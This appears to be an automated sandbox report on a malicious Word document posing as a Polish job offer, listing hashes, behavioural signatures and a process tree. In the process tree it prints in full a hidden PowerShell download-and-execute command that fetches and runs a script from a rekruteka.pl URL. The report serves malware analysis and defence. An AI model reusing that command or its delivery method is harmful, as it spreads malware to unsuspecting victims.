Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/07/2026, 06:14
Behavioral task
behavioral1
Sample
Rekruteka_PL-OfertaPracy.doc
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
Rekruteka_PL-OfertaPracy.doc
Resource
win11ltsc2024-20260709-en
10 signatures
150 seconds
General
- Target Rekruteka_PL-OfertaPracy.doc
- Size 35KB
- Sample260720-gzbb7sgv6m
- SHA256 f7dd82797a4dc06bdbfe6e83abfba58faa8f2bb78a6c2afa84cb2e476d6b0f7d
- MD5 c4c20769df12a5ed8ac79ba360430292
- SHA1 3ab9863c1eba0a5dffc4464d599061d8fb27b1ff
- SHA512 5c96bcac486eb0724a8191ee6739ab0f16769437823f48fae938c60e6f852e28eb1cb9b2d29a1dd13774c73fdd48e6958bbb59d95fc094737a9f02d7dcb290d0
- SSDEEP 384:eHfPjiS/ILJHRppii6jbE0ji3/lvI+fRIhCO+oONu62/2t7BZ+TE:Wf+RpThX3/lvIORIhCyONu62/BTE
- TLSH T151F26315B2D6CE17F2224A710DD3D6E6B238BC58AE42C34B33483B6EBDB69B14B01755
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://rekruteka.pl/ThreatProvider/bot.php?__utma=65fc1c182650ce5#%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2600 5564 powershell.exe 88 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 45 2600 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2600 powershell.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 5564 WINWORD.EXE 5564 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2600 powershell.exe 2600 powershell.exe 2600 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2600 powershell.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE 5564 WINWORD.EXE - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 5564 wrote to memory of 2600 5564 WINWORD.EXE 90
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Rekruteka_PL-OfertaPracy.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c start-sleep -s 20; $w=new-object net.webclient;$w.UseDefaultCredentials=$true;$w.Proxy.Credentials=$w.Credentials;iex($w.downloadstring('https://rekruteka.pl/ThreatProvider/bot.php?__utma=65fc1c182650ce5#########################################'))2⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\TCD4DCD.tmp\iso690.xsl
- Size 263KB
- SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
- MD5 ff0e07eff1333cdf9fc2523d323dd654
- SHA1 77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
- SHA512 b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
- SSDEEP 6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
- TLSH T1094469A5E6D9CF144BB1F23FD8A53092EA1DC87B29341D41F1DC733717AE948822B662
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
- Size 2KB
- SHA256 8d88a754840bc7f7ebe21afa2bf236d456a2ebc7d3126ca4ca6ce9a27f50857b
- MD5 69a8df6e32ad718ce89858944a868e39
- SHA1 a10e570ae40c7824f4eed1387e03cc1da2b17b0d
- SHA512 e341d1c3202cad1aee23f8ccd8f6b352256cd8b258a5fddcc0795934c57f10634d8fc709debe9b55ddb2fd1bfc6da55359565e16c6a7596fb1aa417821f23202
- TLSH T10E510D11569B2F76D44903B65E6A478AFB303C01E6183BAE9484281F7C71D409FDAB3B
- MD5 SHA1 SHA512 TLSH